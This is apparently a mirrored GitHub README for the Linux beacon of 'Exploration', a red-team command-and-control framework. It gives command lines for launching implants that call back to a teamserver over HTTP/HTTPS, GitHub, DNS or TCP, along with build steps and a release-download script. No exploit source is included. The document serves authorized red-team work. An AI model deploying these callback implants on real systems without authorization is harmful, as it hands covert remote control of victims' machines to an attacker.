mirror of
https://github.com/maxDcb/C2LinuxImplant
synced 2026-06-08 15:48:43 +00:00
maxdcb
110 lines
3.4 KiB
Markdown
110 lines
3.4 KiB
Markdown
# Exploration C2 Linux Implant
|
|
|
|
## Overview
|
|
|
|
**Exploration** is a modular Command and Control (C2) framework designed for red team operations. This repository provides the **Beacon** component implemented in C++ for targeting Linux systems. The associated TeamServer and Client components are available in the [C2TeamServer](https://github.com/maxDcb/C2TeamServer) repository.
|
|
|
|
Multiple Beacons in this project are capable of communicating with the TeamServer over various channels. Supported transport mechanisms include HTTP/HTTPS, GitHub, DNS, and TCP.
|
|
|
|
## Communication Examples
|
|
|
|
```bash
|
|
# HTTP/HTTPS
|
|
BeaconHttp <TEAMSERVER_IP> <LISTENER_PORT> <http|https>
|
|
BeaconHttp 10.10.10.10 8443 https
|
|
BeaconHttp 10.10.10.10 8080 http
|
|
|
|
# GitHub
|
|
BeaconGithub <GITHUB_USER/REPO> <ACCESS_TOKEN>
|
|
BeaconGithub maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...
|
|
|
|
# DNS
|
|
BeaconDns <DNS_SERVER> <TEAMSERVER_DOMAIN>
|
|
BeaconDns 8.8.8.8 bac.superdomain.com
|
|
|
|
# TCP
|
|
BeaconTcp <LISTENER_IP> <LISTENER_PORT>
|
|
BeaconTcp 127.0.0.1 4444
|
|
```
|
|
|
|
## Build Instructions
|
|
|
|
### Submodules & External Dependencies
|
|
|
|
This project utilizes several external libraries and tools:
|
|
|
|
* [Donut](https://github.com/TheWover/donut): Generates shellcode from PE files.
|
|
* [COFFLoader](https://github.com/trustedsec/COFFLoader): Executes object files, such as those in [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF).
|
|
* [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): Provides base64 encoding/decoding.
|
|
* [nlohmann/json](https://github.com/nlohmann/json): JSON parsing library.
|
|
|
|
### Building the Linux Beacons and Modules
|
|
|
|
Initialize submodules and prepare the build environment:
|
|
|
|
```bash
|
|
git submodule update --init
|
|
mkdir build
|
|
cd build
|
|
```
|
|
|
|
Compile:
|
|
|
|
```bash
|
|
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake
|
|
|
|
make -j4
|
|
```
|
|
|
|
Project can also be build with the C2Core package:
|
|
|
|
```
|
|
# download last linux package
|
|
url="$(curl -sH 'Accept: application/vnd.github+json' \
|
|
${GITHUB_TOKEN:+-H "Authorization: Bearer $GITHUB_TOKEN"} \
|
|
'https://api.github.com/repos/maxDcb/C2Core/releases?per_page=100' \
|
|
| jq -r '[.[] | select(.tag_name|startswith("linux-"))]
|
|
| sort_by(.created_at) | reverse
|
|
| .[0].assets[]
|
|
| select(.name|test("^C2Core-Linux.*"))
|
|
| .browser_download_url' | head -n1)"
|
|
|
|
fname="${url##*/}"
|
|
curl -L "$url" -o "$fname"
|
|
echo "Downloaded: $fname"
|
|
|
|
mkdir -p C2Core-Linux && tar -xzf C2Core-Linux.tar.gz -C C2Core-Linux
|
|
|
|
export CMAKE_PREFIX_PATH=`pwd`/C2Core-Linux
|
|
|
|
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake
|
|
|
|
make -j4
|
|
```
|
|
|
|
|
|
### Output Locations
|
|
|
|
* Compiled Beacons: `Release/Beacons`
|
|
* Compiled Modules: `Release/Modules`
|
|
|
|
### CI/CD Release Contract
|
|
|
|
CI runs on pull requests and branch pushes. It installs Conan, configures a Release Linux build with `C2CORE_BUILD_TESTS=ON`, builds all Linux beacons/modules, runs `ctest --output-on-failure --timeout 60`, and validates every expected deliverable before archiving.
|
|
|
|
Release publication runs only from tag builds after CI succeeds. The archive is staged from a clean `artifacts/Release` tree and uses the C2TeamServer-facing layout:
|
|
|
|
```text
|
|
Release/
|
|
LinuxBeacons/
|
|
BeaconDns
|
|
BeaconGithub
|
|
BeaconHttp
|
|
BeaconSmb
|
|
BeaconTcp
|
|
LinuxModules/
|
|
lib*.so
|
|
```
|
|
|
|
Packaging must not rename, delete, or mutate the CMake output directories `Release/Beacons` and `Release/Modules`; it only copies their non-`.gitignore` contents into staging.
|